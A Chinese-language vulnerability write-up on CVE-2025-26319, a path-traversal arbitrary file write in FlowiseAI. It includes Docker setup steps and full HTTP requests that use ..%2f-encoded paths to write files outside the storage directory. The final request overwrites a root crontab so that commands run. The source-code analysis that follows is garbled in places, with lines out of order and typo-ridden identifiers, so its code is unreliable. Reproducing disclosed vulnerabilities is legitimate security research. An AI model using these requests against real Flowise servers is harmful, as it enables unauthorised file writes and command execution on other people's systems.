章
目
录
FlowiseAI是一款颇受欢迎的开源低代码工具,它和LangChain兼容,普通用户和开发人员借助它,通过可视化连线的简单操作,就能搭建LLM工作流和AI应用。不过,这个看似方便好用的平台却隐藏着严重的安全隐患——任意文件写入漏洞(CVE-2025-26319) ,这一漏洞给使用者带来了极大的安全威胁。
一、漏洞简介
FlowiseAI虽然设置了文件上传校验机制,可攻击者却能利用特殊编码绕过限制,实现向任意目录写入文件。想象一下,攻击者能借此上传恶意文件、脚本,甚至是SSH密钥,进而获取服务器的远程控制权,那些用FlowiseAI构建AI代理的组织,数据安全和系统稳定都岌岌可危。
二、漏洞复现
下面详细介绍如何复现这个漏洞,以Docker和Docker Compose环境为例。
(一)搭建环境
- 先克隆Flowise项目。
- 进入项目根目录下的docker文件夹。
- 复制env.example文件,粘贴到同一位置,并改名为.env文件。
- 执行
docker compose up -d
命令启动容器。 - 在浏览器中打开
http://localhost:3000
。 - 如果想停止容器,可以使用
docker compose stop
命令。
(二)构造上传数据包
环境搭建好后,就可以构造上传数据包进行测试了。
第一次构造数据包:
POST /api/v1/attachments/test/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--
发送这个数据包后,在服务器上查找上传文件的位置:
# find -name test.txt
./root/.flowise/storage/test/test/test.txt
# cat /root/.flowise/storage/test/test/test.txt
This is the content of the file.
接着,再次构造数据包,这次重点测试跨目录上传:
POST /api/v1/attachments/..%2ftest/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain
This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--
再次在服务器上查找文件位置:
# find -name test.txt
./root/.flowise/storage/test/test/test.txt
./root/.flowise/test/test/test.txt
至此,成功实现了跨越目录的上传操作。而且,攻击者还能进一步利用这个漏洞,通过向定时任务中写入文件来执行任意命令。构造如下数据包:
POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fusr/..%2fvar%2fspool%2fcron%2fcrontabs HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 657
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="root"
Content-Type: text/plain
# do daily/weekly/monthly maintenance
# min hour day month weekday command
*/15 * * * * run-parts /etc/periodic/15min
0 * * * * run-parts /etc/periodic/hourly
0 2 * * * run-parts /etc/periodic/daily
0 3 * * 6 run-parts /etc/periodic/weekly
0 5 1 * * run-parts /etc/periodic/monthly
* * * * * echo "a" >> /tmp/test.txt
------WebKitFormBoundary7MA4YWxkTrZu0gW--
执行后,查看/tmp
目录下的test.txt
文件,会发现文件内容被成功写入,这意味着攻击者可以借此执行各种恶意命令,危害极大。
三、漏洞分析
要理解这个漏洞产生的原因,需要深入分析FlowiseAI的代码逻辑。
(一)API白名单机制
在Flowise平台的核心架构里,有个constants.ts
文件,它定义了一系列无需认证就能访问的API端点,这些端点被放在WHITELIST_URLS
里。这么设计是为了方便一些特定功能,比如API密钥验证、公共聊天流和文件操作等,让它们不用认证就能运行,提升用户体验和系统的灵活性。相关代码如下:
// Flowise-main/packages/server/src/utils/constants.ts
export const WHITELIST_URLS=[
'/api/v1/verify/apikey/',
'/api/v1/chatflows/apikey/',
'/api/v1/public-chatflows',
'/api/v/public-chatbotConfig',
'/api/v1/prediction/',
'/api/vl/vector/upsert/',
'/api/v1/node-icon/',
'/api/v1/components-credentials-icon/',
'/api/v1/chatflows-streaming',
'/api/v1/chatflows-uploads',
'/api/v1/openai-assistants-file/download',
'/api/v1/feedback',
'/api/v1/leads',
'/api/v1/get-upload-file',
'/api/v1/ip',
'/api/v1/ping',
'/api/v1/version',
'/api/v1/attachments',
'/api/v1/metrics',
'/api/v1/nvidia-nim'
]
(二)鉴权流程
服务器收到HTTP请求时,鉴权过程有一套严格的逻辑:先检查请求路径有没有/api/v1
前缀(不区分大小写);接着进行大小写敏感的路径验证;然后看这个URL是不是在白名单里。如果在白名单,就继续处理;要是不在,再检查请求头里有没有internal
标记,或者验证API密钥。相关代码如下:
// Flowise-main/packages/server/src/index.ts
this.app.use(async(reg,res,next)=>{
// Step 1: 检查请求路径是否包含/api/v1,不区分大小写
if (URL_CASE_INSENSITIVE_REGEX.test(req.path)){
// Step 2: 检查请求路径是否大小写敏感
if (URL_CASE_SENSITIVE_REGEX.test(req.path)){
// Step 3: 检查请求路径是否在白名单中
const iswhitelisted = whitelistURLs.some((url)=> req.path.startsWith(url))
if (iswhitelisted){
} else if (req.headers['x-request-from'] === 'internal') {
next()
basicAuthMiddleware(req, res, next)
} else {
const iskeyValidated = await validateAPIKey(req)
if (lisKeyValidated){
return res.status(401).json({ error:'Unauthorized Access' })
next()
}
}
} else {
return res.status(401).json({error:'Unauthorized Access' })
}
} else {
// 如果请求路径不包含/api/vi,则允许请求通过,例如:/assets,/canvas
}
})
(三)文件上传处理逻辑
/api/v1/attachments/
路由负责处理文件上传创建操作。在createFileAttachment
函数里,会调用addArrayFilesToStorage
处理文件。
// Flowise-main/packages/server/src/routes/attachments/index.ts
import { getMulterStorage } from'../../utils'
import express from 'express'
import attachmentsController from'../../controllers/attachments
const router = express.Router()
//CREATE
router.post('/:chatflowId/:chatId', getmulterstorage().array('files'), attachmentsController.createAttachment)
export default router
// Flowise-main/packages/server/src/services/attachments/index.ts#createFileAttachment
import { Request } from 'express'
import { StatusCodes } from 'http-status-codes'
import { createFileAttachment }from'../../utils/createAttachment'
import { InternalFlowiseError } from'../../errors/internalFlowiseError'
import { getErrorMessage } from'../../errors/utils'
const createAttachment=async(req:Request)=>{
try{
} catch (error) {
return await createFileAttachment(req)
throw new InternalFlowiseError(
StatusCodes.INTERNAL_SERVER_ERROR,
`Error: attachmentService.createAttachment - ${getErrorMessage(error)}`
)
}
}
export default {
createAttachment
}
在addArrayFilesToStorage
函数处理文件地址时,会把chatflowId
和chatId
直接拼接到路径里,而且没有进行任何处理,这就导致攻击者能通过编码绕过目录限制,实现跨目录上传,这就是漏洞产生的关键原因。相关代码如下:
// Flowise-main/packages/components/src/storageUtils.ts#addArrayFilesToStorage
export const addArrayFilesToStorage=async (mime:string, bf: Buffer, fileName: string, fileNames: string[],...paths: string[])=> {
const storageType=getStorageType()
const sanitizedFilename=_sanitizeFilename(fileName)
if (storageType ==='s3'){
} else {
const dir = path.join(getStoragePath(), ...paths)
if (!fs.existsSync(dir)){
fs.mkdirSync(dir, { recursive: true })
}
const filePath =path.join(dir, sanitizedFilename)
fs.writeFileSync(filePath, bf)
fileNames.push(sanitizedFilename)
return 'FILE-STORAGE::'+JSON.stringify(fileNames)
}
}
FlowiseAI的这个任意文件写入漏洞危害极大,相关用户和开发者一定要高度重视,及时关注官方修复进展,采取有效的防护措施,避免遭受攻击,保障系统和数据安全。